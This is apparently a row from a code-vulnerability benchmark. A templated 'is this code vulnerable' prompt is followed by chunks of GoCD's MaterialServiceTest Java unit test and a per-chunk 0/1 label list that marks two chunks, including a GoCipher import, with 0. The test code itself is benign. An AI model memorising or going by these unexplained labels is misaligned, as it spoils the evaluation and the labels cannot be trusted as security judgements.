prompt
stringclasses
1 value
completions
listlengths
1
63.8k
labels
listlengths
1
63.8k
source
stringclasses
1 value
other_info
stringlengths
2.06k
101k
index
int64
0
6.83k
Determine whether the {function_name} code is vulnerable or not.
[ "/*\n * Copyright 2020 ThoughtWorks, Inc.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\npackage com.thoughtworks.go.server.service;", "import com.thoughtworks.go.config.CaseInsensitiveString;\nimport com.thoughtworks.go.config.exceptions.BadRequestException;\nimport com.thoughtworks.go.config.exceptions.EntityType;\nimport com.thoughtworks.go.config.materials.PackageMaterial;\nimport com.thoughtworks.go.config.materials.PluggableSCMMaterial;\nimport com.thoughtworks.go.config.materials.SubprocessExecutionContext;\nimport com.thoughtworks.go.config.materials.dependency.DependencyMaterial;\nimport com.thoughtworks.go.config.materials.git.GitMaterial;\nimport com.thoughtworks.go.config.materials.git.GitMaterialConfig;\nimport com.thoughtworks.go.config.materials.mercurial.HgMaterial;\nimport com.thoughtworks.go.config.materials.perforce.P4Material;\nimport com.thoughtworks.go.config.materials.svn.SvnMaterial;\nimport com.thoughtworks.go.config.materials.tfs.TfsMaterial;\nimport com.thoughtworks.go.domain.MaterialInstance;\nimport com.thoughtworks.go.domain.MaterialRevision;\nimport com.thoughtworks.go.domain.MaterialRevisions;\nimport com.thoughtworks.go.domain.PipelineRunIdInfo;\nimport com.thoughtworks.go.domain.config.Configuration;\nimport com.thoughtworks.go.domain.materials.*;\nimport com.thoughtworks.go.domain.materials.git.GitMaterialInstance;\nimport com.thoughtworks.go.domain.materials.packagematerial.PackageMaterialRevision;\nimport com.thoughtworks.go.domain.materials.scm.PluggableSCMMaterialRevision;\nimport com.thoughtworks.go.domain.packagerepository.PackageDefinition;\nimport com.thoughtworks.go.domain.packagerepository.PackageRepositoryMother;\nimport com.thoughtworks.go.helper.MaterialsMother;\nimport com.thoughtworks.go.helper.ModificationsMother;\nimport com.thoughtworks.go.plugin.access.packagematerial.PackageRepositoryExtension;\nimport com.thoughtworks.go.plugin.access.scm.SCMExtension;\nimport com.thoughtworks.go.plugin.access.scm.SCMPropertyConfiguration;\nimport com.thoughtworks.go.plugin.access.scm.material.MaterialPollResult;\nimport com.thoughtworks.go.plugin.access.scm.revision.SCMRevision;\nimport com.thoughtworks.go.plugin.api.material.packagerepository.PackageConfiguration;\nimport com.thoughtworks.go.plugin.api.material.packagerepository.PackageRevision;\nimport com.thoughtworks.go.plugin.api.material.packagerepository.RepositoryConfiguration;", "import com.thoughtworks.go.security.GoCipher;", "import com.thoughtworks.go.server.dao.FeedModifier;\nimport com.thoughtworks.go.server.domain.Username;\nimport com.thoughtworks.go.server.persistence.MaterialRepository;\nimport com.thoughtworks.go.server.service.materials.GitPoller;\nimport com.thoughtworks.go.server.service.materials.MaterialPoller;\nimport com.thoughtworks.go.server.service.materials.PluggableSCMMaterialPoller;\nimport com.thoughtworks.go.server.service.result.LocalizedOperationResult;\nimport com.thoughtworks.go.server.transaction.TransactionTemplate;\nimport com.thoughtworks.go.server.util.Pagination;\nimport com.thoughtworks.go.serverhealth.HealthStateScope;\nimport com.thoughtworks.go.serverhealth.HealthStateType;\nimport org.joda.time.DateTime;\nimport org.junit.Before;\nimport org.junit.Test;\nimport org.junit.experimental.theories.DataPoint;\nimport org.junit.experimental.theories.Theories;\nimport org.junit.experimental.theories.Theory;\nimport org.junit.runner.RunWith;\nimport org.mockito.Mock;", "import java.io.File;\nimport java.util.ArrayList;\nimport java.util.Date;\nimport java.util.List;\nimport java.util.Map;", "import static com.thoughtworks.go.domain.packagerepository.PackageDefinitionMother.create;\nimport static com.thoughtworks.go.helper.MaterialConfigsMother.git;\nimport static java.util.Arrays.asList;\nimport static java.util.Collections.emptyList;\nimport static org.assertj.core.api.Assertions.assertThatCode;\nimport static org.hamcrest.Matchers.*;\nimport static org.junit.Assert.*;\nimport static org.mockito.Mockito.any;\nimport static org.mockito.Mockito.*;\nimport static org.mockito.MockitoAnnotations.initMocks;", "@RunWith(Theories.class)\npublic class MaterialServiceTest {\n private static List MODIFICATIONS = new ArrayList<Modification>();", " @Mock\n private MaterialRepository materialRepository;\n @Mock\n private GoConfigService goConfigService;\n @Mock\n private SecurityService securityService;\n @Mock\n private PackageRepositoryExtension packageRepositoryExtension;\n @Mock\n private SCMExtension scmExtension;\n @Mock\n private TransactionTemplate transactionTemplate;\n @Mock\n private SecretParamResolver secretParamResolver;", " private MaterialService materialService;", " @Before\n public void setUp() {\n initMocks(this);\n materialService = new MaterialService(materialRepository, goConfigService, securityService,\n packageRepositoryExtension, scmExtension, transactionTemplate, secretParamResolver);\n }", " @Test\n public void shouldUnderstandIfMaterialHasModifications() {\n assertHasModification(new MaterialRevisions(new MaterialRevision(new HgMaterial(\"foo.com\", null), new Modification(new Date(), \"2\", \"MOCK_LABEL-12\", null))), true);\n assertHasModification(new MaterialRevisions(), false);\n }", " @Test\n public void shouldNotBeAuthorizedToViewAPipeline() {\n Username pavan = Username.valueOf(\"pavan\");\n when(securityService.hasViewPermissionForPipeline(pavan, \"pipeline\")).thenReturn(false);\n LocalizedOperationResult operationResult = mock(LocalizedOperationResult.class);\n materialService.searchRevisions(\"pipeline\", \"sha\", \"search-string\", pavan, operationResult);\n verify(operationResult).forbidden(EntityType.Pipeline.forbiddenToView(\"pipeline\", pavan.getUsername()), HealthStateType.general(HealthStateScope.forPipeline(\"pipeline\")));\n }", " @Test\n public void shouldReturnTheRevisionsThatMatchTheGivenSearchString() {\n Username pavan = Username.valueOf(\"pavan\");\n when(securityService.hasViewPermissionForPipeline(pavan, \"pipeline\")).thenReturn(true);\n LocalizedOperationResult operationResult = mock(LocalizedOperationResult.class);\n MaterialConfig materialConfig = mock(MaterialConfig.class);\n when(goConfigService.materialForPipelineWithFingerprint(\"pipeline\", \"sha\")).thenReturn(materialConfig);", " List<MatchedRevision> expected = asList(new MatchedRevision(\"23\", \"revision\", \"revision\", \"user\", new DateTime(2009, 10, 10, 12, 0, 0, 0).toDate(), \"comment\"));\n when(materialRepository.findRevisionsMatching(materialConfig, \"23\")).thenReturn(expected);\n assertThat(materialService.searchRevisions(\"pipeline\", \"sha\", \"23\", pavan, operationResult), is(expected));\n }", " @Test\n public void shouldReturnNotFoundIfTheMaterialDoesNotBelongToTheGivenPipeline() {\n Username pavan = Username.valueOf(\"pavan\");\n when(securityService.hasViewPermissionForPipeline(pavan, \"pipeline\")).thenReturn(true);\n LocalizedOperationResult operationResult = mock(LocalizedOperationResult.class);", " when(goConfigService.materialForPipelineWithFingerprint(\"pipeline\", \"sha\")).thenThrow(new RuntimeException(\"Not found\"));", " materialService.searchRevisions(\"pipeline\", \"sha\", \"23\", pavan, operationResult);\n verify(operationResult).notFound(\"Pipeline '\" + \"pipeline\" + \"' does not contain material with fingerprint '\" + \"sha\" + \"'.\", HealthStateType.general(HealthStateScope.forPipeline(\"pipeline\")));\n }", " @DataPoint\n public static RequestDataPoints GIT_LATEST_MODIFICATIONS = new RequestDataPoints(new GitMaterial(\"url\") {\n @Override\n public List<Modification> latestModification(File baseDir, SubprocessExecutionContext execCtx) {\n return (List<Modification>) MODIFICATIONS;\n }", " @Override\n public GitMaterial withShallowClone(boolean value) {\n return this;\n }", " @Override\n public List<Modification> modificationsSince(File baseDir, Revision revision, SubprocessExecutionContext execCtx) {\n return (List<Modification>) MODIFICATIONS;\n }\n }, GitMaterial.class);", " @DataPoint\n public static RequestDataPoints SVN_LATEST_MODIFICATIONS = new RequestDataPoints(new SvnMaterial(\"url\", \"username\", \"password\", true) {\n @Override\n public List<Modification> latestModification(File baseDir, SubprocessExecutionContext execCtx) {\n return (List<Modification>) MODIFICATIONS;\n }", " @Override\n public List<Modification> modificationsSince(File baseDir, Revision revision, SubprocessExecutionContext execCtx) {\n return (List<Modification>) MODIFICATIONS;\n }\n }, SvnMaterial.class);", " @DataPoint\n public static RequestDataPoints HG_LATEST_MODIFICATIONS = new RequestDataPoints(new HgMaterial(\"url\", null) {\n @Override\n public List<Modification> latestModification(File baseDir, SubprocessExecutionContext execCtx) {\n return (List<Modification>) MODIFICATIONS;\n }", " @Override\n public List<Modification> modificationsSince(File baseDir, Revision revision, SubprocessExecutionContext execCtx) {\n return (List<Modification>) MODIFICATIONS;\n }\n }, HgMaterial.class);", " @DataPoint", " public static RequestDataPoints TFS_LATEST_MODIFICATIONS = new RequestDataPoints(new TfsMaterial(mock(GoCipher.class)) {", " @Override\n public List<Modification> latestModification(File baseDir, SubprocessExecutionContext execCtx) {\n return (List<Modification>) MODIFICATIONS;\n }", " @Override\n public List<Modification> modificationsSince(File baseDir, Revision revision, SubprocessExecutionContext execCtx) {\n return (List<Modification>) MODIFICATIONS;\n }", " }, TfsMaterial.class);", " @DataPoint\n public static RequestDataPoints P4_LATEST_MODIFICATIONS = new RequestDataPoints(new P4Material(\"url\", \"view\", \"user\") {\n @Override\n public List<Modification> latestModification(File baseDir, SubprocessExecutionContext execCtx) {\n return (List<Modification>) MODIFICATIONS;\n }", " @Override\n public List<Modification> modificationsSince(File baseDir, Revision revision, SubprocessExecutionContext execCtx) {\n return (List<Modification>) MODIFICATIONS;\n }\n }, P4Material.class);", " @DataPoint\n public static RequestDataPoints DEPENDENCY_LATEST_MODIFICATIONS = new RequestDataPoints(new DependencyMaterial(new CaseInsensitiveString(\"p1\"), new CaseInsensitiveString(\"s1\")) {\n @Override\n public List<Modification> latestModification(File baseDir, SubprocessExecutionContext execCtx) {\n return (List<Modification>) MODIFICATIONS;\n }", " @Override\n public List<Modification> modificationsSince(File baseDir, Revision revision, SubprocessExecutionContext execCtx) {\n return (List<Modification>) MODIFICATIONS;\n }\n }, DependencyMaterial.class);", "\n @Theory\n public void shouldGetLatestModificationsForGivenMaterial(RequestDataPoints data) {\n MaterialService spy = spy(materialService);\n SubprocessExecutionContext execCtx = mock(SubprocessExecutionContext.class);\n doReturn(data.klass).when(spy).getMaterialClass(data.material);\n List<Modification> actual = spy.latestModification(data.material, null, execCtx);\n assertThat(actual, is(MODIFICATIONS));\n }", " @Theory\n public void shouldGetModificationsSinceARevisionForGivenMaterial(RequestDataPoints data) {\n Revision revision = mock(Revision.class);\n SubprocessExecutionContext execCtx = mock(SubprocessExecutionContext.class);\n MaterialService spy = spy(materialService);\n doReturn(data.klass).when(spy).getMaterialClass(data.material);\n List<Modification> actual = spy.modificationsSince(data.material, null, revision, execCtx);\n assertThat(actual, is(MODIFICATIONS));\n }", " @Theory\n public void shouldCheckoutAGivenRevision(RequestDataPoints data) {\n Revision revision = mock(Revision.class);\n MaterialPoller materialPoller = mock(MaterialPoller.class);\n MaterialService spy = spy(materialService);\n File baseDir = mock(File.class);\n SubprocessExecutionContext execCtx = mock(SubprocessExecutionContext.class);", " doReturn(data.klass).when(spy).getMaterialClass(data.material);\n doReturn(materialPoller).when(spy).getPollerImplementation(data.material);", " spy.checkout(data.material, baseDir, revision, execCtx);", " verify(materialPoller).checkout(data.material, baseDir, revision, execCtx);\n }", " @Test\n public void shouldThrowExceptionWhenPollerForMaterialNotFound() {\n try {\n materialService.latestModification(mock(Material.class), null, null);\n fail(\"Should have thrown up\");\n } catch (RuntimeException e) {\n assertThat(e.getMessage(), is(\"unknown material type null\"));\n }\n }", " @Test\n public void latestModification_shouldResolveSecretsForMaterialConfiguredWithSecretParams() {\n GitMaterial gitMaterial = spy(new GitMaterial(\"https://example.com\"));\n MaterialService spy = spy(materialService);\n GitPoller gitPoller = mock(GitPoller.class);", " doReturn(GitMaterial.class).when(spy).getMaterialClass(gitMaterial);\n doReturn(true).when(gitMaterial).hasSecretParams();\n doReturn(gitPoller).when(spy).getPollerImplementation(gitMaterial);\n when(gitPoller.latestModification(any(), any(), any())).thenReturn(new ArrayList<>());", " spy.latestModification(gitMaterial, null, null);", " verify(secretParamResolver).resolve(gitMaterial);\n }", " @Test\n public void modificationsSince_shouldResolveSecretsForMaterialConfiguredWithSecretParams() {\n GitMaterial gitMaterial = spy(new GitMaterial(\"https://example.com\"));\n MaterialService spy = spy(materialService);\n GitPoller gitPoller = mock(GitPoller.class);\n Class<GitMaterial> toBeReturned = GitMaterial.class;", " doReturn(toBeReturned).when(spy).getMaterialClass(gitMaterial);\n doReturn(true).when(gitMaterial).hasSecretParams();\n doReturn(gitPoller).when(spy).getPollerImplementation(gitMaterial);\n when(gitPoller.modificationsSince(any(), any(), any(), any())).thenReturn(new ArrayList<>());", " spy.modificationsSince(gitMaterial, null, null, null);", " verify(secretParamResolver).resolve(gitMaterial);\n }", " @Test\n public void shouldGetLatestModificationForPackageMaterial() {\n PackageMaterial material = new PackageMaterial();\n PackageDefinition packageDefinition = create(\"id\", \"package\", new Configuration(), PackageRepositoryMother.create(\"id\", \"name\", \"plugin-id\", \"plugin-version\", new Configuration()));\n material.setPackageDefinition(packageDefinition);", "\n when(packageRepositoryExtension.getLatestRevision(eq(\"plugin-id\"),\n any(PackageConfiguration.class),\n any(RepositoryConfiguration.class))).thenReturn(new PackageRevision(\"blah-123\", new Date(), \"user\"));", "\n List<Modification> modifications = materialService.latestModification(material, null, null);\n assertThat(modifications.get(0).getRevision(), is(\"blah-123\"));\n }", " @Test\n public void shouldGetModificationSinceAGivenRevision() {\n PackageMaterial material = new PackageMaterial();\n PackageDefinition packageDefinition = create(\"id\", \"package\", new Configuration(), PackageRepositoryMother.create(\"id\", \"name\", \"plugin-id\", \"plugin-version\", new Configuration()));\n material.setPackageDefinition(packageDefinition);", " when(packageRepositoryExtension.latestModificationSince(eq(\"plugin-id\"),\n any(PackageConfiguration.class),\n any(RepositoryConfiguration.class),\n any(PackageRevision.class))).thenReturn(new PackageRevision(\"new-revision-456\", new Date(), \"user\"));\n List<Modification> modifications = materialService.modificationsSince(material, null, new PackageMaterialRevision(\"revision-124\", new Date()), null);\n assertThat(modifications.get(0).getRevision(), is(\"new-revision-456\"));\n }", " @Test\n public void shouldGetLatestModification_PluggableSCMMaterial() {\n PluggableSCMMaterial pluggableSCMMaterial = MaterialsMother.pluggableSCMMaterial();\n MaterialInstance materialInstance = pluggableSCMMaterial.createMaterialInstance();\n when(materialRepository.findMaterialInstance(any(Material.class))).thenReturn(materialInstance);\n MaterialPollResult materialPollResult = new MaterialPollResult(null, new SCMRevision(\"blah-123\", new Date(), \"user\", \"comment\", null, null));\n when(scmExtension.getLatestRevision(any(String.class), any(SCMPropertyConfiguration.class), any(Map.class), any(String.class))).thenReturn(materialPollResult);", " List<Modification> modifications = materialService.latestModification(pluggableSCMMaterial, new File(\"/tmp/flyweight\"), null);", " assertThat(modifications.get(0).getRevision(), is(\"blah-123\"));\n }", " @Test\n public void shouldGetModificationSince_PluggableSCMMaterial() {\n PluggableSCMMaterial pluggableSCMMaterial = MaterialsMother.pluggableSCMMaterial();\n MaterialInstance materialInstance = pluggableSCMMaterial.createMaterialInstance();\n when(materialRepository.findMaterialInstance(any(Material.class))).thenReturn(materialInstance);\n MaterialPollResult materialPollResult = new MaterialPollResult(null, asList(new SCMRevision(\"new-revision-456\", new Date(), \"user\", \"comment\", null, null)));\n when(scmExtension.latestModificationSince(any(String.class), any(SCMPropertyConfiguration.class), any(Map.class), any(String.class),\n any(SCMRevision.class))).thenReturn(materialPollResult);", " PluggableSCMMaterialRevision previouslyKnownRevision = new PluggableSCMMaterialRevision(\"revision-124\", new Date());\n List<Modification> modifications = materialService.modificationsSince(pluggableSCMMaterial, new File(\"/tmp/flyweight\"), previouslyKnownRevision, null);", " assertThat(modifications.get(0).getRevision(), is(\"new-revision-456\"));\n }", " @Test\n public void shouldDelegateToMaterialRepository_getTotalModificationsFor() {\n GitMaterialConfig materialConfig = git(\"http://test.com\");\n GitMaterialInstance gitMaterialInstance = new GitMaterialInstance(\"http://test.com\", null, null, null, \"flyweight\");", " when(materialRepository.findMaterialInstance(materialConfig)).thenReturn(gitMaterialInstance);", " when(materialRepository.getTotalModificationsFor(gitMaterialInstance)).thenReturn(1L);", " Long totalCount = materialService.getTotalModificationsFor(materialConfig);", " assertThat(totalCount, is(1L));\n }", " @Test\n public void shouldDelegateToMaterialRepository_getModificationsFor() {\n GitMaterialConfig materialConfig = git(\"http://test.com\");\n GitMaterialInstance gitMaterialInstance = new GitMaterialInstance(\"http://test.com\", null, null, null, \"flyweight\");\n Pagination pagination = Pagination.pageStartingAt(0, 10, 10);\n Modifications modifications = new Modifications();\n modifications.add(new Modification(\"user\", \"comment\", \"email\", new Date(), \"revision\"));", " when(materialRepository.findMaterialInstance(materialConfig)).thenReturn(gitMaterialInstance);", " when(materialRepository.getModificationsFor(gitMaterialInstance, pagination)).thenReturn(modifications);", " Modifications gotModifications = materialService.getModificationsFor(materialConfig, pagination);", " assertThat(gotModifications, is(modifications));\n }", " @Test\n public void shouldGetLatestModificationWithMaterial() {\n MaterialInstance instance = MaterialsMother.gitMaterial(\"http://example.com/gocd.git\").createMaterialInstance();\n Modification modification = ModificationsMother.withModifiedFileWhoseNameLengthIsOneK();\n modification.setMaterialInstance(instance);\n ArrayList<Modification> mods = new ArrayList<>();\n mods.add(modification);", " when(materialRepository.getLatestModificationForEachMaterial()).thenReturn(mods);", " Map<String, Modification> modificationsMap = materialService.getLatestModificationForEachMaterial();", " assertEquals(modificationsMap.size(), 1);\n assertThat(modificationsMap.keySet(), containsInAnyOrder(instance.getFingerprint()));\n assertEquals(modificationsMap.get(instance.getFingerprint()), modification);\n }", " @Test\n public void shouldReturnEmptyMapIfNoMaterialAndModificationFound() {\n when(materialRepository.getLatestModificationForEachMaterial()).thenReturn(emptyList());", " Map<String, Modification> modificationsMap = materialService.getLatestModificationForEachMaterial();", " assertEquals(modificationsMap.size(), 0);\n }", " @Test\n public void history_shouldCallDaoToFetchLatestModificationData() {\n GitMaterialConfig materialConfig = git(\"http://test.com\");\n GitMaterialInstance gitMaterialInstance = new GitMaterialInstance(\"http://test.com\", null, null, null, \"flyweight\");\n Modifications modifications = new Modifications();\n modifications.add(new Modification(\"user\", \"comment 1\", \"email\", new DateTime().minusHours(1).toDate(), \"revision\"));\n modifications.add(new Modification(\"user\", \"comment 2\", \"email\", new DateTime().minusHours(2).toDate(), \"revision\"));\n modifications.add(new Modification(\"user\", \"comment 3\", \"email\", new DateTime().minusHours(3).toDate(), \"revision\"));", " when(materialRepository.findMaterialInstance(materialConfig)).thenReturn(gitMaterialInstance);\n when(materialRepository.loadHistory(anyLong(), any(), anyLong(), anyInt())).thenReturn(modifications);", " List<Modification> gotModifications = materialService.getModificationsFor(materialConfig, \"\", 0, 0, 3);", " verify(materialRepository).loadHistory(anyLong(), eq(FeedModifier.Latest), eq(0L), eq(3));\n assertThat(gotModifications, is(modifications));\n }", " @Test\n public void history_shouldCallDaoToFetchModificationDataAfterTheGivenCursor() {\n GitMaterialConfig materialConfig = git(\"http://test.com\");\n GitMaterialInstance gitMaterialInstance = new GitMaterialInstance(\"http://test.com\", null, null, null, \"flyweight\");\n Modifications modifications = new Modifications();\n modifications.add(new Modification(\"user\", \"comment 1\", \"email\", new DateTime().minusHours(1).toDate(), \"revision\"));", " when(materialRepository.findMaterialInstance(materialConfig)).thenReturn(gitMaterialInstance);\n when(materialRepository.loadHistory(anyLong(), any(), anyLong(), anyInt())).thenReturn(modifications);", " List<Modification> gotModifications = materialService.getModificationsFor(materialConfig, \"\", 2, 0, 3);", " verify(materialRepository).loadHistory(anyLong(), eq(FeedModifier.After), eq(2L), eq(3));\n }", " @Test\n public void history_shouldCallDaoToFetchModificationDataBeforeTheGivenCursor() {\n GitMaterialConfig materialConfig = git(\"http://test.com\");\n GitMaterialInstance gitMaterialInstance = new GitMaterialInstance(\"http://test.com\", null, null, null, \"flyweight\");\n Modifications modifications = new Modifications();\n modifications.add(new Modification(\"user\", \"comment 1\", \"email\", new DateTime().minusHours(1).toDate(), \"revision\"));", " when(materialRepository.findMaterialInstance(materialConfig)).thenReturn(gitMaterialInstance);\n when(materialRepository.loadHistory(anyLong(), any(), anyLong(), anyInt())).thenReturn(modifications);", " List<Modification> gotModifications = materialService.getModificationsFor(materialConfig, \"\", 0, 2, 3);", " verify(materialRepository).loadHistory(anyLong(), eq(FeedModifier.Before), eq(2L), eq(3));\n }", " @Test\n public void history_shouldThrowIfTheAfterCursorIsInvalid() {\n GitMaterialConfig materialConfig = git(\"http://test.com\");\n GitMaterialInstance gitMaterialInstance = new GitMaterialInstance(\"http://test.com\", null, null, null, \"flyweight\");", " when(materialRepository.findMaterialInstance(materialConfig)).thenReturn(gitMaterialInstance);", " assertThatCode(() -> materialService.getModificationsFor(materialConfig, \"\", -10, 0, 3))\n .isInstanceOf(BadRequestException.class)\n .hasMessage(\"The query parameter 'after', if specified, must be a positive integer.\");", " verify(materialRepository).findMaterialInstance(materialConfig);\n verifyNoMoreInteractions(materialRepository);\n }", " @Test\n public void history_shouldThrowIfTheBeforeCursorIsInvalid() {\n GitMaterialConfig materialConfig = git(\"http://test.com\");\n GitMaterialInstance gitMaterialInstance = new GitMaterialInstance(\"http://test.com\", null, null, null, \"flyweight\");", " when(materialRepository.findMaterialInstance(materialConfig)).thenReturn(gitMaterialInstance);", " assertThatCode(() -> materialService.getModificationsFor(materialConfig, \"\", 0, -10, 3))\n .isInstanceOf(BadRequestException.class)\n .hasMessage(\"The query parameter 'before', if specified, must be a positive integer.\");", " verify(materialRepository).findMaterialInstance(materialConfig);\n verifyNoMoreInteractions(materialRepository);\n }", " @Test\n public void shouldCallDaoToFetchLatestAndOlderModification() {\n GitMaterialConfig materialConfig = git(\"http://test.com\");\n GitMaterialInstance gitMaterialInstance = new GitMaterialInstance(\"http://test.com\", null, null, null, \"flyweight\");\n PipelineRunIdInfo value = new PipelineRunIdInfo(1, 2);", " when(materialRepository.findMaterialInstance(materialConfig)).thenReturn(gitMaterialInstance);\n when(materialRepository.getOldestAndLatestModificationId(anyLong(), anyString())).thenReturn(value);", " PipelineRunIdInfo info = materialService.getLatestAndOldestModification(materialConfig, \"\");", " verify(materialRepository).getOldestAndLatestModificationId(anyLong(), eq(\"\"));\n assertThat(info, is(value));\n }", " @Test\n public void shouldReturnNullIfNoInstanceIsPresent() {\n GitMaterialConfig materialConfig = git(\"http://test.com\");", " when(materialRepository.findMaterialInstance(materialConfig)).thenReturn(null);", " PipelineRunIdInfo info = materialService.getLatestAndOldestModification(materialConfig, \"\");", " verify(materialRepository, never()).getOldestAndLatestModificationId(anyLong(), anyString());\n assertThat(info, is(nullValue()));\n }", " @Test\n public void findMatchingMods_shouldCallDaoToFetchLatestMatchingMods() {\n GitMaterialConfig config = git(\"http://test.com\");\n GitMaterialInstance instance = new GitMaterialInstance(\"http://test.com\", null, null, null, \"flyweight\");\n Modifications modifications = new Modifications();\n modifications.add(new Modification(\"user\", \"comment 1\", \"email\", new DateTime().minusHours(1).toDate(), \"revision\"));\n modifications.add(new Modification(\"user\", \"comment 2\", \"email\", new DateTime().minusHours(2).toDate(), \"revision\"));\n modifications.add(new Modification(\"user\", \"comment 3\", \"email\", new DateTime().minusHours(3).toDate(), \"revision\"));", " when(materialRepository.findMaterialInstance(config)).thenReturn(instance);\n when(materialRepository.findMatchingModifications(anyLong(), anyString(), any(FeedModifier.class), anyLong(), anyInt())).thenReturn(modifications);", " List<Modification> result = materialService.getModificationsFor(config, \"comment\", 0, 0, 10);", " verify(materialRepository).findMatchingModifications(eq(instance.getId()), eq(\"comment\"), eq(FeedModifier.Latest), eq(0L), eq(10));\n assertThat(result, is(modifications));\n }", " @Test\n public void findMatchingMods_shouldCallDaoToFetchMatchingModsAfterCursor() {\n GitMaterialConfig config = git(\"http://test.com\");\n GitMaterialInstance instance = new GitMaterialInstance(\"http://test.com\", null, null, null, \"flyweight\");\n Modifications modifications = new Modifications();\n modifications.add(new Modification(\"user\", \"comment 1\", \"email\", new DateTime().minusHours(1).toDate(), \"revision\"));\n modifications.add(new Modification(\"user\", \"comment 2\", \"email\", new DateTime().minusHours(2).toDate(), \"revision\"));\n modifications.add(new Modification(\"user\", \"comment 3\", \"email\", new DateTime().minusHours(3).toDate(), \"revision\"));", " when(materialRepository.findMaterialInstance(config)).thenReturn(instance);\n when(materialRepository.findMatchingModifications(anyLong(), anyString(), any(FeedModifier.class), anyLong(), anyInt())).thenReturn(modifications);", " List<Modification> result = materialService.getModificationsFor(config, \"comment\", 3, 0, 10);", " verify(materialRepository).findMatchingModifications(eq(instance.getId()), eq(\"comment\"), eq(FeedModifier.After), eq(3L), eq(10));\n assertThat(result, is(modifications));\n }", " @Test\n public void findMatchingMods_shouldCallDaoToFetchMatchingModsBeforeCursor() {\n GitMaterialConfig config = git(\"http://test.com\");\n GitMaterialInstance instance = new GitMaterialInstance(\"http://test.com\", null, null, null, \"flyweight\");\n Modifications modifications = new Modifications();\n modifications.add(new Modification(\"user\", \"comment 1\", \"email\", new DateTime().minusHours(1).toDate(), \"revision\"));\n modifications.add(new Modification(\"user\", \"comment 2\", \"email\", new DateTime().minusHours(2).toDate(), \"revision\"));\n modifications.add(new Modification(\"user\", \"comment 3\", \"email\", new DateTime().minusHours(3).toDate(), \"revision\"));", " when(materialRepository.findMaterialInstance(config)).thenReturn(instance);\n when(materialRepository.findMatchingModifications(anyLong(), anyString(), any(FeedModifier.class), anyLong(), anyInt())).thenReturn(modifications);", " List<Modification> result = materialService.getModificationsFor(config, \"comment\", 0, 3, 10);", " verify(materialRepository).findMatchingModifications(eq(instance.getId()), eq(\"comment\"), eq(FeedModifier.Before), eq(3L), eq(10));\n assertThat(result, is(modifications));\n }", " @Test\n public void findMatchingMods_shouldReturnNullIfMaterialIsNotPresent() {\n GitMaterialConfig material = git(\"http://test.com\");", " when(materialRepository.findMaterialInstance(material)).thenReturn(null);", " List<Modification> result = materialService.getModificationsFor(material, \"comment\", 0, 0, 10);", " assertThat(result, is(nullValue()));\n verify(materialRepository).findMaterialInstance(material);\n verifyNoMoreInteractions(materialRepository);\n }", " private void assertHasModification(MaterialRevisions materialRevisions, boolean b) {\n HgMaterial hgMaterial = new HgMaterial(\"foo.com\", null);\n when(materialRepository.findLatestModification(hgMaterial)).thenReturn(materialRevisions);\n assertThat(materialService.hasModificationFor(hgMaterial), is(b));\n }", " private static class RequestDataPoints<T extends Material> {\n final T material;\n final Class klass;", " public RequestDataPoints(T material, Class klass) {\n this.material = material;\n this.klass = klass;\n }\n }", " @Test\n public void latestModification_shouldResolveSecretsForPluggableScmMaterial() {\n PluggableSCMMaterial pluggableSCMMaterial = spy(new PluggableSCMMaterial());\n MaterialService serviceSpy = spy(materialService);\n PluggableSCMMaterialPoller poller = mock(PluggableSCMMaterialPoller.class);", " doReturn(PluggableSCMMaterial.class).when(serviceSpy).getMaterialClass(pluggableSCMMaterial);\n doReturn(true).when(pluggableSCMMaterial).hasSecretParams();\n doReturn(poller).when(serviceSpy).getPollerImplementation(pluggableSCMMaterial);\n when(poller.latestModification(any(), any(), any())).thenReturn(new ArrayList<>());", " serviceSpy.latestModification(pluggableSCMMaterial, null, null);", " verify(secretParamResolver).resolve(pluggableSCMMaterial);\n }", " @Test\n public void modificationsSince_shouldResolveSecretsForPluggableScmMaterial() {\n PluggableSCMMaterial pluggableSCMMaterial = spy(new PluggableSCMMaterial());\n MaterialService serviceSpy = spy(materialService);\n PluggableSCMMaterialPoller poller = mock(PluggableSCMMaterialPoller.class);", " doReturn(PluggableSCMMaterial.class).when(serviceSpy).getMaterialClass(pluggableSCMMaterial);\n doReturn(true).when(pluggableSCMMaterial).hasSecretParams();\n doReturn(poller).when(serviceSpy).getPollerImplementation(pluggableSCMMaterial);\n when(poller.latestModification(any(), any(), any())).thenReturn(new ArrayList<>());", " serviceSpy.modificationsSince(pluggableSCMMaterial, null, null, null);", " verify(secretParamResolver).resolve(pluggableSCMMaterial);\n }", " @Test\n public void checkout_shouldResolveSecretsForPluggableScmMaterial() {\n PluggableSCMMaterial pluggableSCMMaterial = spy(new PluggableSCMMaterial());\n MaterialService serviceSpy = spy(materialService);\n PluggableSCMMaterialPoller poller = mock(PluggableSCMMaterialPoller.class);", " doReturn(PluggableSCMMaterial.class).when(serviceSpy).getMaterialClass(pluggableSCMMaterial);\n doReturn(true).when(pluggableSCMMaterial).hasSecretParams();\n doReturn(poller).when(serviceSpy).getPollerImplementation(pluggableSCMMaterial);\n when(poller.latestModification(any(), any(), any())).thenReturn(new ArrayList<>());", " serviceSpy.checkout(pluggableSCMMaterial, null, null, null);", " verify(secretParamResolver).resolve(pluggableSCMMaterial);\n }\n}" ]
[ 1, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
PreciseBugs
